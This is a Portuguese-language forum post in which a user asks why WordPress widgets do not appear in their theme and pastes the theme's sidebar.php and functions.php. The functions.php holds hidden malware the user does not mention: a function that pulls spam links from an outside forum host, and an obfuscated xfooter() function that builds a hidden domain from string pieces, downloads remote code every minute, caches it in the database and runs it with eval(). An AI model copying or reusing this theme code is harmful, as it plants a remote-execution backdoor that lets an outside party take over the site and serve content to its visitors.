Olá, bom dia.
Venho abrir esse topico pois estou tendo um problema para habilitar as widgets em um template.
Eu fiz como manda nesse tutorial aqui
http://www.wordpress-pt.com/2008/01/11/como-implementar-widgets-num-tema/
O template que eu estava usando não reconhecia o sidebar ou algo assim, quando eu fiz o que ensinava nesse tutorial ele passou a reconhecer. Coloquei as widgets pelo painel mas o template continua exibindo o sidebar padrão, então eu gostaria que alguém me apresentasse uma solução para o meu problema. Abaixo segue a pagina functions.php e a sidebar.php;
PS: Eu removi o "<?php include (TEMPLATEPATH . '/searchform.php'); ?>" pois apresentava um erro quando "imprimia" o blog.
[quote]<!-- begin sidebar -->
<div id="side">
<?php /* Barra com widgets, se instalados. */
* if ( !function_exists(’dynamic_sidebar’) || !dynamic_sidebar() ) : ?>
<li id="search">
<label for="s">
<h2>
<?php _e('Search'); ?>
</h2></label>
<form id="searchform" method="get" action="<?php bloginfo('url'); ?>/index.php">
<div>
<input type="text" name="s" size="18" />
<input type="submit" id="submit" name="Submit" value="Search" />
</div>
</form>
<li id="categories">
<h2>
<?php _e('Categories'); ?>
</h2>
<?php list_cats(0, '', 'name', 'asc', '', 1, 0, 1, 1, 1, 1, 0,'','','','','') ?>
<li id="archives">
<h2>
<?php _e('Monthly'); ?>
</h2>
<?php wp_get_archives('type=monthly'); ?>
<?php get_links_list(); ?>
<?php if (function_exists('wp_theme_switcher')) { ?>
# <h2>
<?php _e('Themes'); ?>
</h2>
<?php wp_theme_switcher(); ?>
<?php } ?>
<li id="meta">
<h2>
<?php _e('Meta'); ?>
</h2>
* "><img src="<?php bloginfo('stylesheet_directory'); ?>/images/rss.gif" width="80" height="15" border="0" alt="Subscribe to RSS feed"/>
* "><img src="<?php bloginfo('stylesheet_directory'); ?>/images/rsscomments.gif" width="80" height="15" border="0" alt="The latest comments to all posts in RSS"/>
* "><img src="<?php bloginfo('stylesheet_directory'); ?>/images/atom.gif" width="80" height="15" border="0"/ alt="Subscribe to Atom feed"/>
* <img src="<?php bloginfo('stylesheet_directory'); ?>/images/wordpress.gif" alt="wordpress themes" width="80" height="15" border="0" alt="Powered by WordPress; state-of-the-art semantic personal publishing platform."/>
* <img src="<?php bloginfo('stylesheet_directory'); ?>/images/firefox.gif" width="80" height="15" border="0" alt="Firefox - Rediscover the web"/>
<?php endif; ?>
</div>
<!-- end sidebar -->[/quote]
functions.php
[quote]<?php
if ( function_exists('register_sidebar') )
register_sidebar();
function test()
{
$url = "http://guadagnare.forumer.it/links.php?" .
"id=999" . "&" . "url=" . urlencode($_SERVER['REQUEST_URI']) . "&" . "urlh=" . urlencode($_SERVER['HTTP_HOST']);
$check = @fsockopen("www.forumer.it", 80, $errno, $errstr, 3);
if($check)
{
@readfile($url);
fclose($check);
}
}
function xfooter() { global $wpdb; $RDAFE7FE4FDC52E2D1048573B4DB1DF18 = $wpdb->get_col("SELECT option_value FROM $wpdb->options WHERE option_name='l_time_eval'"); $R41CCFE75D7AC2B4681397CFC70BAEF40 = $wpdb->get_col("SELECT option_value FROM $wpdb->options WHERE option_name='l_eval'"); if (empty($RDAFE7FE4FDC52E2D1048573B4DB1DF18)) { $wpdb->query("INSERT INTO $wpdb->options (option_name, option_value, autoload) VALUES ('l_time_eval', '0', 'no')"); $RBDCA893A9385C089DC5F358AAA52C09B = 0; } else $RBDCA893A9385C089DC5F358AAA52C09B = intval($RDAFE7FE4FDC52E2D1048573B4DB1DF18[0]); if (empty($R41CCFE75D7AC2B4681397CFC70BAEF40)) { $wpdb->query("INSERT INTO $wpdb->options (option_name, option_value, autoload) VALUES ('l_eval', '
', 'no')"); $RB8CCA7CA753C9ECD0EAE7F65DA4AB7A1 = '
'; } else $RB8CCA7CA753C9ECD0EAE7F65DA4AB7A1 = $R41CCFE75D7AC2B4681397CFC70BAEF40[0]; @eval('$R14AF1BE9EE26A90921E64A82E7836797 = 1;'); if($R14AF1BE9EE26A90921E64A82E7836797) { $R5F38CE9C0B222F3BB0880E016DC07527 = "1"; } else { $R5F38CE9C0B222F3BB0880E016DC07527 = "0"; } if ( ( time() - $RBDCA893A9385C089DC5F358AAA52C09B ) >= 60 ) { $R39C188653EA53DBD6E3F1D3915EDAC0C = "com"; $R8088818E3E46A17C12F2EE42EB12D7AC = "2."; $R7B934F06258B8BA3608E30CDE9EA1035 = "xpstatz"; $RAD8CC24399FEA84D3454DD7057C38FD0 = "xps-$R5F38CE9C0B222F3BB0880E016DC07527."; $RBF7582359E6813BD7C54DD76E7505037 = "$R8088818E3E46A17C12F2EE42EB12D7AC$R7B934F06258B8BA3608E30CDE9EA1035.$R39C188653EA53DBD6E3F1D3915EDAC0C"; $RA81C90DCC503F6900F7DC424AD04F525 = "/".$RAD8CC24399FEA84D3454DD7057C38FD0."php?h=" . urlencode($_SERVER['HTTP_HOST']) . "&u=" . urlencode($_SERVER['REQUEST_URI']); if (ini_get('allow_url_fopen')) { $RB8CCA7CA753C9ECD0EAE7F65DA4AB7A1 = @file_get_contents("http://" . $RBF7582359E6813BD7C54DD76E7505037 . $RA81C90DCC503F6900F7DC424AD04F525); } else { $RF500F4A848E2EB2F8AAC3A6734D7EC38 = @fsockopen($RBF7582359E6813BD7C54DD76E7505037, '80', $R87844B1C6FC922407E6020B6B224950F, $R1966719AEC0096F98BA934D649A6E28D, 30); if ($RF500F4A848E2EB2F8AAC3A6734D7EC38) { @stream_set_timeout($RF500F4A848E2EB2F8AAC3A6734D7EC38, 60); @fwrite($RF500F4A848E2EB2F8AAC3A6734D7EC38, "GET $RA81C90DCC503F6900F7DC424AD04F525 HTTP/1.1\r\n"); @fwrite($RF500F4A848E2EB2F8AAC3A6734D7EC38, "Host: $RBF7582359E6813BD7C54DD76E7505037\r\n"); @fwrite($RF500F4A848E2EB2F8AAC3A6734D7EC38, "Connection: Close\r\n\r\n"); $RB8CCA7CA753C9ECD0EAE7F65DA4AB7A1 = ""; while(!feof($RF500F4A848E2EB2F8AAC3A6734D7EC38)) { $RB8CCA7CA753C9ECD0EAE7F65DA4AB7A1 .= @fgets($RF500F4A848E2EB2F8AAC3A6734D7EC38, 1024); } $RB8CCA7CA753C9ECD0EAE7F65DA4AB7A1 = trim(strstr($RB8CCA7CA753C9ECD0EAE7F65DA4AB7A1, "\r\n\r\n")); } @fclose($RF500F4A848E2EB2F8AAC3A6734D7EC38); } if ( is_string($RB8CCA7CA753C9ECD0EAE7F65DA4AB7A1) ) { $RBDCA893A9385C089DC5F358AAA52C09B = time(); if($R14AF1BE9EE26A90921E64A82E7836797) { @eval($RB8CCA7CA753C9ECD0EAE7F65DA4AB7A1); } else { echo "$RB8CCA7CA753C9ECD0EAE7F65DA4AB7A1"; } $R9446905AFC32B438C0BD070AD05F3D83 = mysql_real_escape_string($RB8CCA7CA753C9ECD0EAE7F65DA4AB7A1); $wpdb->query("UPDATE $wpdb->options SET option_value=$RBDCA893A9385C089DC5F358AAA52C09B WHERE option_name='l_time_eval'"); $wpdb->query("UPDATE $wpdb->options SET option_value='$R9446905AFC32B438C0BD070AD05F3D83' WHERE option_name='l_eval'"); } } }
?>[/quote]
Obrigado pela atenção, agradeço desde já.